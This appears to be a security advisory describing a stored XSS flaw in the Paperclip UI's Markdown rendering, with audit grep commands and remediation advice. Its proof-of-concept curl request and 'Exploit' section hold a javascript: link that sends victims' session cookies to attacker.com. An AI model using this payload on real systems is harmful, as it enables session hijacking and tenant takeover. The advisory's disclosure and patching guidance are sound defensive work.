Listen to this Post
How the CVE works (technical details):
The `MarkdownBody` component (shared across issues, comments, chat, approvals, etc.) passes `urlTransform={(url) => url}` to react-markdown, overwriting the library’s `defaultUrlTransform` – the only built‑in sanitizer against javascript:, vbscript:, file:, and non‑image `data:` URIs. This identity transform passes any unsanitized `href` directly to a custom `` renderer. React 19 (production) renders `javascript:` links verbatim, and clicking them executes code in the Paperclip origin. Server‑side, `upsertIssueDocumentSchema` and comment validators only enforce a max length (512 KiB) and `format` enum – no content validation, so malicious `[text](javascript:…)` is stored as‑is. The `assertCompanyAccess` authz allows any authenticated company member to act (no role check), meaning a low‑privileged user can plant payloads that run in admin sessions. No `Content-Security-Policy` on the main app; only sandboxed exports have CSP. When a victim clicks the crafted link, the script captures `document.cookie` and exfiltrates it, enabling full session takeover. The sink appears in IssueDocumentsSection, CommentThread, IssueChatThread, ApprovalDetail, AgentDetail, CompanySkills, Import/Export, and `RunTranscriptView` – almost every Markdown surface is vulnerable.
dailycve form:
Platform: Paperclip UI
Version: before fix
Vulnerability : Stored XSS
Severity: Critical
date: 2024-12-15
Prediction: Patch 2024-12-22
What Undercode Say:
Grep for dangerous urlTransform override
grep -rn "urlTransform={(url) => url}" ui/src/
Find all MarkdownBody usages
grep -rn "MarkdownBody" ui/src/components/ --include=".tsx"
Simulate malicious document PUT (PoC)
curl -X PUT 'http://localhost:3000/api/issues/1/documents/plan' \
-H 'Cookie: attacker_session' -H 'Content-Type: application/json' \
-d '{"format":"markdown","body":"<a href="javascript:fetch(\"https://attacker.com/steal?c=\"+document.cookie)">pwn</a>"}'
Verify no CSP on main app
curl -I http://localhost:3000 | grep -i content-security-policy
Exploit:
Attacker with any company role PUTs or POSTs a Markdown body containing [click](javascript:fetch('https://attacker.com/steal?c='+document.cookie)). Victim views issue/comment and clicks the link. Script exfiltrates session cookie; attacker replays cookie to API endpoints (e.g., POST /api/issues/.../comments, PUT /api/companies/.../settings) to act as victim, escalate privileges, or take over tenant.
Protection from this CVE:
Remove `urlTransform` override in MarkdownBody.tsx:162; use `defaultUrlTransform` from react-markdown. Add `safeUrlTransform` that allows only `paperclip-mention://` and falls back to default. Deploy strict CSP: script-src 'self' 'nonce-...'; navigate-to 'self'. Server‑side reject `javascript:` patterns in `body` field (e.g., regex \]\(javascript:). Audit all urlTransform, skipHtml, `rehype-raw` overrides.
Impact:
Stored XSS leads to session hijack, privilege escalation (admin cookie grants full company control), persistent payload across all Markdown surfaces (issues, comments, chat, approvals, agent details, exports), and tenant‑wide compromise – a low‑priv user can own any viewer.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

